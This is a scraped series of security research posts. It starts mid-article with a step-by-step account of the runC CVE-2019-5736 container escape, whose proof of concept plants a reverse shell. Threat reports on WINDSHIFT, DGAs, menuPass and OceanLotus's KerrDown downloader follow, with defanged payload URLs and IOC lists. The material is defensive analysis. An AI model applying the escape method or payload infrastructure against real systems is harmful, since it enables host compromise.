When this user binary is run, it must already be confined and restricted inside the container, or it can jeopardize the host. In order to accomplish that, runC creates a ‘runC init’ subprocess which places all needed restrictions on itself (such as entering or setting up namespaces) and effectively places itself in the container. Then, the runC init process, now in the container, calls the execve syscall to overwrite itself with the user requested binary.

This is the method used by runC both for creating new containers and for attaching a process to an existing container.

The researchers who revealed the vulnerability discovered that an attacker can trick runC into executing itself by asking it to run /proc/self/exe, which is a symbolic link to the runC binary on the host.


An attacker with root access in the container can then use /proc/[runc-pid]/exe as a reference to the runC binary on the host and overwrite it. Root access in the container is required to perform this attack as the runC binary is owned by root.
The next time runC is executed, the attacker will achieve code execution on the host. Since runC is normally run as root (e.g. by the Docker daemon), the attacker will gain root access on the host.

Why not runC init?

The image above might mislead some to believe the vulnerability (i.e. tricking runC into executing itself) is redundant. That is, why can’t an attacker simply overwrite /proc/[runc-init-pid]/exe instead?
A patch for a similar runC vulnerability, CVE-2016-9962, mitigates this kind of attack.
CVE-2016-9962 revealed that the runC init process possessed open file descriptors from the host which could be used by an attacker in the container to traverse the host’s filesystem and thus break out of the container. Part of the patch for this flaw was setting the runc init process as ‘non-dumpable’ before it entering the container.

In the context of CVE-2019-5736, the ‘non-dumpable’ flag denies other processes from dereferencing /proc/[pid]/exe, and therefore mitigates overwriting the runC binary through /proc/[runc-init-pid]/exe [1]. Calling execve drops this flag though, and hence the new runC process’ /proc/[runc-pid]/exe is accessible.

The Symlink Problem

The vulnerability may appear to contradict the way symbolic links are implemented in Linux.
Symbolic links simply hold the path to their target. For a runC process, /proc/self/exe should contain something like /usr/sbin/runc.
When a symlink is accessed by a process, the kernel uses the path present in the link to find the target under the root of the accessing process.
That begs the question – when a process in the container opens the symbolic link to the runC binary, why doesn’t the kernel searches for the runC path inside the container root?

The answer is that /proc/[pid]/exe does not follow the normal semantics for symbolic links. Technically this might count as a violation of POSIX, but as I mentioned earlier procfs is a special filesystem. When a process opens /proc/[pid]/exe, there is none of the normal procedure of reading and following the contents of a symlink. Instead, the kernel just gives you access to the open file entry directly.

Exploitation

Soon after the vulnerability was reported, when no POCs were publicly released yet, I attempted to develop my own POC based on the detailed description of the vulnerability given in the LXC patch addressing it. You can find the complete POC code here.

Let’s break down LXC’s description of the vulnerability:

when runC attaches to a container the attacker can trick it into executing itself. This could be done by replacing the target binary inside the container with a custom binary pointing back at the runC binary itself. As an example, if the target binary was /bin/bash, this could be replaced with an executable script specifying the interpreter path #!/proc/self/exe

The ‘#!’ syntax is called shebang and is used in scripts to specify an interpreter. When the Linux loader encounters the shebang, it runs the interpreter instead of the executable.

As seen in the video, the program finally executed by the loader is:
interpreter [optional-arg] executable-path

When the user runs something like docker exec container-name /bin/bash, the loader will recognize the shebang in the modified bash and execute the interpreter we specified – /proc/self/exe, which is a symlink to the runC binary.
We can proceed to overwrite the runC binary from a separate process in the container through /proc/[runc-pid]/exe.

The attacker can then proceed to write to the target of /proc/self/exe to try and overwrite the runC binary on the host. However in general, this will not succeed as the kernel will not permit it to be overwritten whilst runC is executing.

Basically, we cannot overwrite the runC binary while a process is running it. On the other hand, if the runC process exits, /proc/[runc-pid]/exe will vanish and we will lose the reference to the runC binary. To overcome this, we open /proc/[runc-pid]/exe for reading in our process, which creates a file descriptor at /proc/[our-pid]/fd/3.
We then wait for the runC process to exit, and proceed to open /proc/[our-pid]/fd/3 for writing, and overwrite runC.
Here is the code for overwrite_runc, shortened for brevity:

Let’s see some action! The exploit output shows the steps taken to overwrite runC. You can see that the runC process is running as pid 20054. The video can also be seen here.

This method has one setback though – it requires an additional process to run the attacker code. Since containers are started with only one process (i.e. the Docker’s image entry point), this approach couldn’t be used to create a malicious image that will compromise the host when run.
Some other POCs you might have seen that implement a similar approach are Frichetten’s and feexd’s.

Shared Libraries Approach

A different exploitation method is used in the official POC released by runC’s maintainers and is superior to POCs similar to mine since it can be implemented to compromise the host through two separate methods:

  1. When a user execs a command into an existing attacker controlled container
  2. When a user runs a malicious image

We’ll now look into building a malicious image since the previous POC already demonstrated the first scenario. The POC I wrote for this method is heavily based on q3k’s POC, which, to the best of my knowledge, was the first published malicious image POC. You can view the full POC code here.

Let’s go over the Dockerfile used to build the malicious image. First, the entry point of the image is set to /proc/self/exe in order to trick runC into executing itself when the image is run.

RunC is dynamically linked to several shared libraries at run time, which can be listed using the ldd command.

When the runC process is executed in the container, those libraries are loaded into the runC process by the dynamic linker. It is possible to substitute one of those libraries with a malicious version, that will overwrite the runC binary upon being loaded into the runC process.
Our Dockerfile builds a malicious version of the libseccomp library:

The Dockerfile appends the content of run_at_link.c to one of libsecomp’s source files. Subsequently, the malicious libsecomp is built.

The constructor attribute (a GCC-specific syntax) indicates that the run_at_link function is to be executed as an initialization function [2] for libseccomp after the dynamic linker loads the library into the runC process. Since run_at_link will be executed by the runC process, it can access the runC binary at /proc/self/exe.
The runC process must exit for the runC binary to be writable though. To enforce the exit, run_at_link calls the execve syscall to execute overwrite_runc.

Since execve doesn’t affect the file descriptors open by the process, the same file descriptor trick from the previous POC can be used:

  1. The runC process loads the libseccomp library and transfers execution to the run_at_link function.
  2. run_at_link opens the runC binary for reading through /proc/self/exe. This creates a file descriptor at /proc/self/fd/${runc_fd_read}.
  3. run_at_link calls execve to execute overwrite_runc.
  4. The process is no longer running the runC binary, overwrite_runc opens /proc/self/fd/runc_fd_read for writing and overwrites the runC binary.

For the following video, I built a malicious image that overwrites the runC binary with a simple script that spawns a reverse shell at port 2345.

The docker run command executes runC twice. Once to create and run the container, which executes the POC to overwrite runC, and then again to stop the container using runc delete [3].
The second time runC is executed, it is already overwritten, and hence the reverse shell script is executed instead.

The Fix

RunC and LXC were both patched using the same approach, which is described clearly in the LXC patch commit:

To prevent this attack, LXC has been patched to create a temporary copy of the calling binary itself when it starts or attaches to containers. To do this LXC creates an anonymous, in-memory file using the memfd_create() system call and copies itself into the temporary in-memory file, which is then sealed to prevent further modifications. LXC then executes this sealed, in-memory file instead of the original on-disk binary. Any compromising write operations from a privileged container to the host LXC binary will then write to the temporary in-memory binary and not to the host binary on-disk, preserving the integrity of the host LXC binary. Also as the temporary, in-memory LXC binary is sealed, writes to this will also fail.

RunC has been patched using the same method. It re-executes from a temporary copy of itself when it starts or attaches to containers. Consequently, /proc/[runc-pid]/exe now points to the temporary file, and the runC binary can’t be reached from within the container.
The temporary file is also sealed to block writing to it, although overwriting it shouldn’t compromise the host.

This patch introduced some issues though. The temporary runC copy is created in-memory after the runc init process has already applied the container’s cgroup memory constraints on itself. For containers running with a relatively low memory limit (e.g 10Mb), this can cause processes in the container to be oom-killed (Out Of Memory killed) by the kernel when the runC init process attaches to the container.

If you are interested, an issue regarding this complication was created and contains a discussion about alternative fixes that might not introduce the same problem.

CVE-2019-5736 and Privileged Containers

As a general rule of thumb, privileged containers (of a given container runtime) are less secure then unprivileged containers (of the same runtime).
Earlier I stated that the vulnerability affects all Docker containers but only LXC’s privileged containers. So why are Docker unprivileged containers vulnerable while LXC unprivileged containers aren’t? Well, it’s because LXC and Docker define privileged containers differently. In fact, Docker unprivileged containers are considered privileged according to LXC philosophy.

Privileged containers are defined as any container where the container uid 0 is mapped to the host's uid 0.

The main difference is that LXC runs unprivileged containers in a separate user namespace by default, while Docker doesn’t.
User namespaces are a feature of Linux that can be used to separate the container root from the host root. The root inside the container, as well as all other users, are mapped to unprivileged users on the host. In other words, a process can have root access for operations inside the container but is unprivileged for operations outside it. If you would like a more in-depth explanation, I recommend LWN’s namespace series

Image from kinvolk.
So how does running the container in a user namespace mitigate this vulnerability?
The attacker is root inside the container but is mapped to an unprivileged user on the host. Therefore, when the attacker tries to open the host’s runC binary for writing, he is denied by the kernel.

You might wonder why Docker doesn’t run containers in a separate user namespace by default. It’s because user namespaces do have some drawbacks in the context of containers, which are a bit out of the scope of this post. If you are interested, Docker and rkt (another container runtime) both list the limitations of running containers in user namespaces.

Ending Note

I hope this post gave you a bit of insight into the different aspects of this vulnerability. If you are using either runC, Docker, or LXC, don’t forget to update to the patched version.
Feel free to reach out with any questions you may have through email or @TwistlockLabs.

 

[1] As a side note, privileged Docker containers (before the new patch) could use the /proc/pid/exe of the runc init process to overwrite the runC binary. To be exact, the specific privileges required are SYS_CAP_PTRACE and disabling AppArmor.

[2] For those familiar with Windows DLLs, it resembles DllMain.

[3] The container is stopped after overwrite_runc exits, since overwrite_runc was executed as the init process (PID 1) of the container.

Shifting in the Wind: WINDSHIFT Attacks Target Middle Eastern Governments

Posted on by Adrian McCabe

Executive Summary

In August of 2018, DarkMatter released a report entitled “In the Trails of WINDSHIFT APT”, which unveiled a threat actor with TTPs very similar to those of Bahamut. Subsequently, two additional articles (here and here) were released by Objective-See which provide an analysis of some validated WINDSHIFT samples targeting OSX systems. Pivoting on specific file attributes and infrastructure indicators, Unit 42 was able to identify and correlate additional attacker activity and can now provide specific details on a targeted WINDSHIFT attack as it unfolded at a Middle Eastern government agency.

Summary of Aggregated WINDSHIFT Attacker Activity

The following timeline summarizes validated WINDSHIFT activity through June of 2018.

Figure 1: Known WINDSHIFT activity across main disclosure sources.

As shown within the timeline above, the WINDSHIFT activity observed by Unit 42 falls between January and May of 2018.

Middle Eastern Government Agency Attack Timeline

The following is a summary of observed WINDSHIFT activity which targeted a Middle Eastern government agency:

Figure 2: Unit 42 Observed WINDSHIFT samples.

The first attack occurred in early January of 2018 with an inbound WINDTAIL sample (the backdoor family used by WINDSHIFT) originating from the remote IP address 109.235.51[.]110 to a single internal IP address within the government agency. As per the timeline in Figure 2, at the time this event occurred, the IP address 109.235.51[.]110 was associated with the domain flux2key[.]com, a known WINDSHIFT domain. Upon further analysis, Unit 42 determined the sample’s corresponding C2 server IP address was 109.235.51[.]153. At the time this event occurred, that IP was associated with the domain string2me[.]com, which is a known WINDSHIFT domain. While Unit 42 does not have any insight into the attempted infection methodology in this case, the actor’s TTPs would suggest that spearphishing was almost certainly involved.

After the initial infection attempt, several additional WINDTAIL samples from the same external IP address, 109.235.51[.]110, were directed at the same internal IP address from January through May of 2018 (see Figure 2 for additional details). All related WINDTAIL samples were Mac OSX app bundles in zip archives, which is consistent with WINDSHIFT TTPS.

One sample in particular, named “mcworker.zip” (SHA256: e0fdcb5e0215f9fae485fbfcd615c79b85806827e461bca2e1c00c82e83281dc) deserves particular attention. Upon further analysis, Unit 42 determined its C2 server IP address was 185.25.50[.]189. According to OSINT, at the time of the activity, the IP address 185.25.50[.]189 had one domain resolution: domforworld[.]com.

Conclusion

By analyzing this attack in detail, Unit 42 was able to gain valuable insight into the real-world TTPs of a known threat actor group. Of particular importance are the following findings:

  • Unit 42 assesses with high confidence that both the IP address 185.25.50[.]189 and the domain domforworld[.]com is associated with WINDSHIFT activity. Additionally, the IP addresses 109.235.51[.]110 and 109.235.51[.]153, corresponding to the previously validated WINDSHIFT domains flux2key[.]com and string2me[.]com, respectively, were also observed in use during this campaign.
  • The attacker-owned IP address 109.235.50[.]191 was subsequently identified in a Norman Security report from as being associated with Hangover threat actor activity, and both IP addresses 109.235.51[.]110 and 109.235.50[.]191 shared the name “XENEUROPE” within their organizational registrant WHOIS information. This organizational name is tied to a number of IP addresses of Hangover-associated infrastructure as per the Norman report. Collectively, this evidence serves to strengthen the implication from other security researchers that Operation Hangover and WINDSHIFT activity are possibly related.
  • Based on Unit 42’s observations of multiple inbound WINDTAIL samples directed at the same internal IP address, Unit 42 assesses with moderate confidence that the attackers were not able to establish persistence within the targeted environment. While Unit 42 cannot definitively determine the attempted delivery vector of these samples, WINDTAIL TTPs would indicate that it was likely standard spearphishing chicanery.
  • One of two of the Mac OSX developer certificates tied to the WINDTAIL samples shown in DarkMatter’s original presentation, Caren Van (4F9G49SUXB), was also tied to the WINDTAIL samples within this blog. Additionally, a newly identified certificate, warren portman (95RKE2AA8F), was found to be directly affiliated with WINDSHIFT malware.

Palo Alto Networks customers are protected from this threat in the following ways:

  • AutoFocus customers can track these samples with the Windshift tag.
  • WildFire detects all files mentioned in this report with malicious verdicts.

IOCs

Infrastructure:

Domain IP Address
flux2key[.]com 109.235.51[.]110
string2me[.]com 109.235.51[.]153
domforworld[.]com 185.25.50[.]189

File Hashes:

 

File Name(s) Apple Developer Certificate  SHA-256
trusted.zip Caren Van (4F9G49SUXB) ce8e01373499b539f4746c0e68c850357476abe36b12834f507f9ba19af3d4f9
mcworker.zip Caren Van (4F9G49SUXB) e0fdcb5e0215f9fae485fbfcd615c79b85806827e461bca2e1c00c82e83281dc
keybaged.zip Caren Van (4F9G49SUXB) 1fbfbaefd50627796e7f16b8cc2b81ffbc5effcb33b64cc8e349e44b5d5d3ee8
trustb.zip Caren Van (4F9G49SUXB) 1de218e45cdf069c10d1a8735d82688b8964261a5efe3b6560e0fdcfa3c44c1d
frd.zip Caren Van (4F9G49SUXB) dd0e0883392ffe8c72c4b13f58e5861fc2f4bc518a6abea4f81ae3a44b2eda1c
smdd.zip Caren Van (4F9G49SUXB) e2a5663584727efa396c319f7f99a12205bb05c9c678ffae130e9f86667505a6
logd.zip Caren Van (4F9G49SUXB) ffae55894f0f31d99105b5b7bbbca79e9c1019b37b7a5a20368f50c173352fd1
logd.zip Caren Van (4F9G49SUXB) cb3068ee887fc2f66d3df886421d5e5fa5e31ec4ee0079a7dcf9628bd2730de0
lsd.zip Caren Van (4F9G49SUXB) 0c0fce879c8ca00a6f9feeaccf6cba64374e508cacd664682e794a4a4cc64ffb
tootoo.zip warren portman (95RKE2AA8F) 8c8b53f4d4836bd7d4574fe80039caf9f2bd4d75740f2e8e22619064c830c6d9

 

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

 

 

 

Threat Brief: Understanding Domain Generation Algorithms (DGA)

Posted on by Unit 42

Intro

One of the most important “innovations” in malware in the past decade is what’s called a Domain Generation Algorithm (“DGA”)”. DGA is an automation technique that attackers use to make it harder for defenders to protect against attacks. While DGA has been in use for over 10 years now, it’s still a potent technique that has been a particular challenge for defenders to counter. Fortunately, there are emerging technologies now that can better counter DGAs.

What is it?

A Domain Generation Algorithm is a program that is designed to generate domain names in a particular fashion. Attackers developed DGAs so that malware can quickly generate a list of domains that it can use for the sites that give it instructions and receive information from the malware (usually referred to as “command and control” or C2).

Attackers use DGA so that they can quickly switch the domains that they’re using for the malware attacks. Attackers do this because security software and vendors act quickly to block and take down malicious domains that malware uses. Attackers developed DGA specifically to counter these actions.

In the past, attackers would maintain a static list of malicious domains; defenders could easily take that list and start blocking and taking down those sites. By using an algorithm to build the list of domains, the attackers also make it harder for defenders to know or predict what domains will be used than if they had a simple list of domains. To get that list of domains that the malware will use, defenders have to decode the algorithm which can be difficult.

Even then, taking down sites that malware using a DGA can be a challenge as defenders have to go through the process of working with ISPs to take down these malicious domains one by one. Many DGAs are built to use hundreds or even thousands of domains. And these domains are often up for only limited periods of time. In this environment blocking and taking down DGA-related domains quickly becomes a game of “whack a mole” that is sometimes futile.

Why should I care, what can it do to me?

DGA by itself can’t harm you. But it is an important piece that enables modern malware to try and evade security products and countermeasures. The importance and usefulness of DGA is best shown by the fact that it’s been in regular and constant use since at least 2008. DGA was a key component in the Conficker attacks in 2008 and 2009 and part of its success.

What can I do about it?

Because DGA is a technique the fuels malware attacks, the things you can do to help prevent malware can also help prevent DGA-fueled malware attacks:

  1. Don’t open attachments that are unexpected or from unknown sources.
  2. Don’t enable macros on attached documents without confirming that you can do so safely from the sender and your IT department.
  3. Run security software that can help prevent malware attacks.

In addition, new technologies are being developed that can more directly counter DGA-fueled attacks, particularly for organizations. In particular, security vendors are bringing automation to bear to counter the attackers’ automation. New anti-DGA technologies that leverage machine learning and big data are capable of countering DGA’s automation with automated prediction of their own that can anticipate, block, assist with malicious site takedowns or even, in some cases, prevent those malicious sites from being used in the first place.

You can also learn more about these new technologies and look at deploying them as an additional layer of protection.

About: Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.

They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.

Got a topic you want us to write about for you, your friends, or your family? Email us at u42comms@paloaltonetworks.com.

menuPass Playbook and IOCs

Posted on by Unit 42

On December 20, 2018 the US Department of Justice indicted two Chinese nationals on charges of computer hacking, conspiracy to commit wire fraud, and aggravated identity theft. The two are alleged members of a hacking group known as menuPass (aka APT10/Stone Panda/Red Apollo/CVNX/Potassium) which according to the indictment, allegedly carried out the illegal activity at the behest of the Chinese Ministry of State Security. The charges in the indictment stem from a lengthy attack campaign called Operation Cloud Hopper that began in 2014 which largely targeted Managed Security Providers (MSPs) to not only steal MSP and clients’ intellectual property but also leverage the networks for further attacks. The US-Cert also published two advisories, TA17-117A and TA18-276B. The first details the activity and the second contained protection, detection, and remediation advice for MSPs and customers.

The compromised organizations were located around the world in industries such as banking and finance, healthcare and medical equipment, government, aerospace, defense, telecommunications, and consumer electronics.  menuPass’ hacking activity started as early as 2006 and continues to this day; they have shown a marked interest in Japan since 2014.

The group has been active since approximately 2006 and has targeted healthcare, defense, aerospace, and government sectors around the world, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university.

Unit 42 is releasing all IOCs we have associated with menuPass in an effort to provide defenders with an extensive list of their malware and attack infrastructure. We are also publishing a menuPass Playbook based on activity from late 2016. The described attacks took place during the timeframe pointed out by the US Department of Justice and match the TTPs described in the indictment.

For Palo Alto Networks customers, all of the malware and infrastructure is correctly marked as malicious within our platform. All of the domains, samples, and C2 infrastructure are flagged as malicious, as appropriate, within Threat Prevention, WildFire, Traps, and PAN-DB.

AutoFocus customers can further investigate this activity using the following tags:

US-CERT_TA17-117A

Operation Cloud Hopper

menuPass

RedLeaves

ChChes

Anel

The below malware families are used by multiple groups, so their presence in a network is not necessarily related to menuPass. However, if found it indicates a possible network intrusion and should be investigated.

EvilGrab

PlugX

Poison Ivy

QuasarRAT

Tracking OceanLotus’ new Downloader, KerrDown

Posted on by Vicky Ray

OceanLotus (AKA APT32) is a threat actor group known to be one of the most sophisticated threat actors originating out of south east Asia. Multiple attack campaigns have been reported by number of security organizations in the last couple of years, documenting the tools and tactics used by the threat actor. While OceanLotus’ targets are global, their operations are mostly active within the APAC region which encompasses targeting private sectors across multiple industries, foreign governments, activists, and dissidents connected to Vietnam. 

This blog will cover a new custom downloader malware family we’ve named “KerrDown” which OceanLotus have been actively using since at least early 2018. We also show how the jaccard-index algorithm was used to quickly find similarities between the new KerrDown malware family within our datasets. This method has proven to be very useful to extract similarities from large sample datasets and connecting attack campaigns together. Given the large number of “KerrDown” samples found, we were also able to discern possible patterns in OceanLotus’ working hours and days of a week which is discussed in the later sections of this blog. 

We identified two methods to deliver the KerrDown downloader to targets. One is using the Microsoft Office Document with a malicious macro and the other is RAR archive which contains a legitimate program with DLL side-loading. For RAR archive files, the file names used to trick targets are all in Vietnamese as shown in Figure 11. Our analysis shows that the primary targets of the ongoing campaign discussed in this blog are either in Vietnam or Vietnamese speaking individuals.  

Malicious Document

Our analysis began with an active mime document, something we've seen OceanLotus use before but this time involving a new payload, KerrDown. The lure hash is 

(SHA256:89e19df797481ae2d2c895bcf030fe19e581976d2aef90c89bd6b3408579bfc3) 

Figure 1 below shows a snapshot of the lure file. Once the victim opens the lure document, which includes an image file with a message in Vietnamese which that asks the victim to enable macros to view the contents of the file. At first glance the document may look like there is no other content other than the notification to enable macros. However, a closer look reveals two different base64 blobs inserted in the page in separate tables and the font size has been changed to 1 which may deceive victims to overlook the content. Another reason for this technique may be that many automated tools are able to detect the presence of an embedded binary within the streams of such files and this technique may allow them to go undetected.  

Delivery Document Analysis

  Figure 1: Lure document

Once we increase the font size, the base64 blobs are visible in two different tables. Once decoded you can see the MZ header of the PE DLL at the beginning of each table, as shown in Figure 2.   

Figure 2: Base64 encoded pedll files embedded as text in the document. 

Figure 3 shows a code excerpt from the embedded macro that checks which base64 blob should be decoded based on the iCheck variable, a Boolean value which is set to true if the victim system is running on a 64-bit system and false on a 32-bit system. If the system is found to be 64-bit, the base64 encoded blob on the left is decoded otherwise the base64 encoded blob on the right is decoded. 

Figure 3: Base64 blob selection based on system check 

We also noticed that the actors reused the VBS decode function published by Motobit. Figure 4 shows the comparison between the base64 function used in the macro code and the VBS base64 decoder function published by Motobit. 

 

Figure 4: Base64 decoder comparison 

Similarity Analysis of KerrDown Samples using Jaccard-Index 

Once we decoded and extracted both DLL files from the document we used a similarity analysis algorithm using the Jaccard index to check the binaries against known set of malware families used by OceanLotus  which yielded no matches with any previous OceanLotus malware families. However, we were able to find multiple other samples in our datasets using the imphash value of the KerrDown samples and the accompanying C2 domains. Given the high number of samples found, we again used a similarity analysis algorithm using Jaccard Index to extract similarities between all the samples found. At this stage we were not sure if the DLL files were a backdoor or had any other functionality. Hence, we included a few other known OceanLotus malware family samples used no earlier than 2017 to our similarity test, and in most cases samples which were final payloads dropped in victim machines.  One of the main objectives was to quickly discern if KerrDown could have been variants of the known malware families we have been tracking or was OceanLotus employing a new malware family in their playbooks and in the recent campaigns. Plotting the Jaccard index results using networkx we can quickly visualize the similarities extracted. As you can see from Figure 5, there is a thick cluster of samples at the top right of the networkx graph which did not have any similarities with the other known OceanLotus malware family samples. Therefore, this observation was helpful for us to understand that the samples we were looking into were likely a new malware family being employed by the OceanLotus group at the time of analysis, which we have now named KerrDown.

Figure 5: Similarity analysis using Jaccard Index 

KerrDown to Cobalt Strike Beacon 

As discussed in the delivery document analysis above, depending on the OS architecture either of the embedded KerrDown DLLs will be dropped in the victim machine. The DLL is dropped in the directory location ‘Users\Administrator\AppData\Roaming\’ as ‘main_background.png’. The DLL retrieves the payload from the URL, decrypts it by using DES algorithm and execute it in the memory. Therefore, it is observed that only the KerrDown DLL downloader is saved in the system and the payload directly gets executed in the memory without being written in the system. Table 1 shows the URL the downloader will attempt to download the payload from depending on the OS architecture of the victim machine. 

OS Architecture  URL  User Agent 
32 bit  https://syn.servebbs[.]com/kuss32.gif  Mozilla/5.0 (Windows NT 10.0; Win32; x32; rv:60.0) 
64 bit  https://syn.servebbs[.]com/kuss64.gif  Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) 

Table 1 : Payload DLL selection based on architecture 

The link to the final payload of KerrDown was still active during the time of analysis and hence we were able to download a copy which turned out to be a variant of Cobalt Strike Beacon. Cybereason also published previously on OceanLotus using Cobalt Strike in their campaigns and it is interesting to see the use of a new downloader malware family being used to still deliver the final payload of Cobalt Strike. As we can see in this case, the purpose of the malware is to download and execute the Cobalt Strike Beacon payload in memory. Though Cobalt Strike is a commercial penetration testing tool, various threat actors are known to have used it in their campaigns.  

RAR Archives with KerrDown 

While investigating KerrDown we found multiple RAR files containing a variant of the malware. We haven’t yet identified the delivery method or targets of this variant. The attacker changed the downloader code by adding more stages and hiding each stage by compression and encryption. They also changed the way to execute the malicious code from an Office macro to the DLL side-loading technique through a legitimate program.  

The RAR archive

(SHA256:040abac56542a2e0f384adf37c8f95b2b6e6ce3a0ff969e3c1d572e6b4053ff3)

has the Vietnamese file name ‘Don khieu nai.rar’ which translates to 'Complaint letter' in English. The archive contains a legitimate older version of Microsoft Word (Microsoft Word 2007) executable file that is named ‘Noi dung chi tiet don khieu nai gui cong ty.exe’ which translates to ‘Learn more about how to use your company’ in English. The attacker used the DLL side loading technique to load a malicious DLL by the older version of Microsoft Word. When opening the executable file in the archive, it loads the malicious DLL in the same directory. The DLL executes multi-stage shellcodes and each shellcode employs various technique to hide the next stage. The overall installation steps are below: 

  1. The Microsoft Word exe loads wwlib.dll in the same directory and executes ‘FMain’ function of the DLL.
  2. The DLL decodes base64 encoded shellcode in the body and executes it. 
  3. The shellcode decompresses the second shellcode which is compressed with the open source compression code UCL and execute it. 
  4. The second shellcode decrypts the third shellcode with AES. 
  5. The third shellcode retrieves the shellcode from the following remote location and executes it: https://cortanasyn[.]com/Avcv 
  6. The fourth shellcode loads the embedded Cobalt Strike Beacon DLL in memory and executes it. 

Figure 6: Execution flow of sideloaded malicious downloader 

Looking at the compile timestamps of all the KerrDown samples in our datasets we were able to discern a couple of observations: 

  • OceanLotus has been using the new downloader in their campaigns since at least March 2018 and continues to actively use it in their campaigns. Figure 7 shows the timeline of the KerrDown samples: 

Figure 7: Downloader DLL compile time lines 

  • While it is already widely believed that the OceanLotus group may originate from Vietnam, we wanted to find possible working hour patterns from the samples in our datasets. We plotted the compile times based on GMT +7 and found a clear pattern of the possible working hours of the group. The OceanLotus group has a typical 9 AM to 6 PM working pattern with most samples compiled during this period of the day. Figure 8 shows the malware compilation timestamps in GMT +7 for each unique sample found in our dataset. 

Figure 8: Malware compilation times in GMT +7 

  •  We also observed all the samples were compiled during the weekdays - between Monday to Friday. Therefore, it is clear that the OceanLotus group works during weekdays and takes a break during the weekends. Figure 9 shows the samples compiled during the week. 

Figure 9: Malware compilation during weekdays 

Conclusion 

OceanLotus has been an active threat actor group for a number of years and remains one of the most sophisticated threat actors in the APAC region. As we have seen with the new KerrDown downloader being used in their recent campaigns, the group continues to build and employ new tools and techniques in their overall operations and playbooks. It is therefore imperative to understand and keep a track of the group’s ongoing operations and capability to better defend against such threats. Given the high number of samples observed, we were also able to discern possible working hour patterns which shows us that the group likely has formal working hours and operating out of a region which is like Vietnam or nearby countries. While most of the targeting observed is towards Vietnamese speaking victims, given the known broader geographic and industry wide target base of OceanLotus, the group may use similar tools and playbooks against other targets.  

 Palo Alto Networks customers are already protected via: 

  •  All samples in this report have a malicious verdict in WildFire 
  • Domains have been classified as malicious 
  • AutoFocus tags are available for additional context: OceanLotus and KerrDown. 

Indicators of Compromise: 

Lure Docs: 

 73dcbcc47d6bd95dcf031ebbd34ac42301a20ee1143ac130b405e79b4ba40fc8 

89e19df797481ae2d2c895bcf030fe19e581976d2aef90c89bd6b3408579bfc3 

a4a066341b4172d2cb752de4b938bf678ceb627ecb72594730b78bd05a2fad9d 

8bf22202e4fd4c005afde2266413cba9d1b749b1a2d75deac0c35728b5eb3af8 

df8210d20c5eb80d44ba8fa4c41c26c8421dcb20168e4f796e4955e01ebc9e13 

94fab926b73a6a5bc71d655c8d611b40e80464da9f1134bfce7b930e23e273ab 

4321a9f95901a77b4acfbaef3596cf681712345e1cbd764873c6643fe9da7331 

KerrDown DLLs: 

 4a0309d8043e8acd7cb5c7cfca95223afe9c15a1c34578643b49ded4b786506b 

4b431af677041dae3c988fcc901ac8ec6e74c6e1467787bf099c4abd658be5be 

4bc00f7d638e042da764e8648c03c0db46700599dd4f08d117e3e9e8b538519b 

4e2f8f104e6cd07508c5b7d49737a1db5eeba910adfdb4c19442a7699dc78cfc 

4e791f2511c9bd3c63c8e37aa6625d8b590054de9e1cca13a7be2630bc2af9ce 

539e8a53db3f858914cfe0d2132f11de34a691391ba71673a8b1e61367a963c7 

53cd92f37ffd0822cc644717363ba239d75c6d9af0fa305339eaf34077edd22d 

53efaac9244c24fab58216a907783748d48cb32dbdc2f1f6fb672bd49f12be4c 

5c18c3e6f7ac0d0ac2b5fa9a6435ee90d6bd77995f85bed9e948097891d42ca2 

5cda7d8294a8804d09108359dd2d96cdf4fdcf22ec9c00f0182d005afff76743 

5f0db8216314da1f128b883b918e5ac722202a2ae0c4d0bf1c5da5914a66778e 

6010d44cdca58cdec4559040e08798e7b28b9434bda940da0a670c93c84e33cd 

60b65ebb921dca4762aef427181775d10bbffc30617d777102762ab7913a5aa1 

6146aedfe47597606fb4b05458ec4b99d4e1042da7dc974fa33a57e282cd7349 

6245b74b1cc830ed95cb630192c704da66600b90a331d9e6db70210acb6c7dfa 

67cd191eb2322bf8b0f04a63a9e7cb7bc52fb4a4444fcb8fed2963884aede3aa 

68f77119eae5e9d2404376f2d87e71e4ab554c026e362c57313e5881005ae79e 

69e679daaaff3832c39671bf2b813b5530a70fb763d381f9a6e22e3bc493c8a9 

6faa7deb1e1e0c3a7c62c2bb0ecdfa56b6e3ba4fe16971ec4572267ac70b9177 

6fb397e90f72783adec279434fe805c732ddb7d1d6aa72f19e91a1bf585e1ea5 

70db041fb5aadb63c1b8ae57ba2699baa0086e9b011219dcebcccbf632017992 

7673f5468ba3cf01500f6bb6a19ce7208c8b6fc24f1a3a388eca491bc25cd9cd 

77805a46f73e118ae2428f8c22ba28f79f7c60aeb6305d41c0bf3ebb9ce70f94 

788265447391189ffc1956ebfec990dc051b56f506402d43cd1d4de96709c082 

7be613237b57fbc3cb83d001efadeed9936a2f519c514ab80de8285bdc5a666c 

7dbb7fab4782f5e3b0c416c05114f2a51f12643805d5f3d0cd80d32272f2731a 

7ec77e643d8d7cc18cc67c123feceed91d10db1cc9fa0c49164cba35bb1da987 

860f165c2240f2a83eb30c412755e5a025e25961ce4633683f5bc22f6a24ddb6 

868ed69533fac80354a101410d3dd0a66f444385c6611cc85c5b0be49db2d6fd 

89759e56d5c23085e47d2be2ce4ad4484dfdd4204044a78671ed434cec19b693 

8b7fb1cd5c09f7ec57ccc0c4261c0b4df0604962556a1d401b9cbfd750df60ba 

8d6e31c95d649c08cdc2f82085298173d03c03afe02f0dacb66dd3560149184f 

942d763604d0aefdff10ce095f806195f351124a8433c96f5590d89d809a562f 

98a5f30699564e6d9f74e737a611246262907b9e91b90348f7de53eb4cf32665 

9e6011d6380207e2bf5105cde3d48e412db565b92cdc1b3c6aa15bd7bd4b099f 

a106e0a6b7cc30b161e5ea0b1ec0f28ab89c2e1eb7ba2d5d409ddbabc3b037e6 

a2b905c26e2b92e63de85d83e280249258cb21f300d8c4a3a6bdb488676e9bcf 

a4a86e96f95f395fcf0ceb6a74a2564f4ba7adbe1b40cc702b054427327a0399 

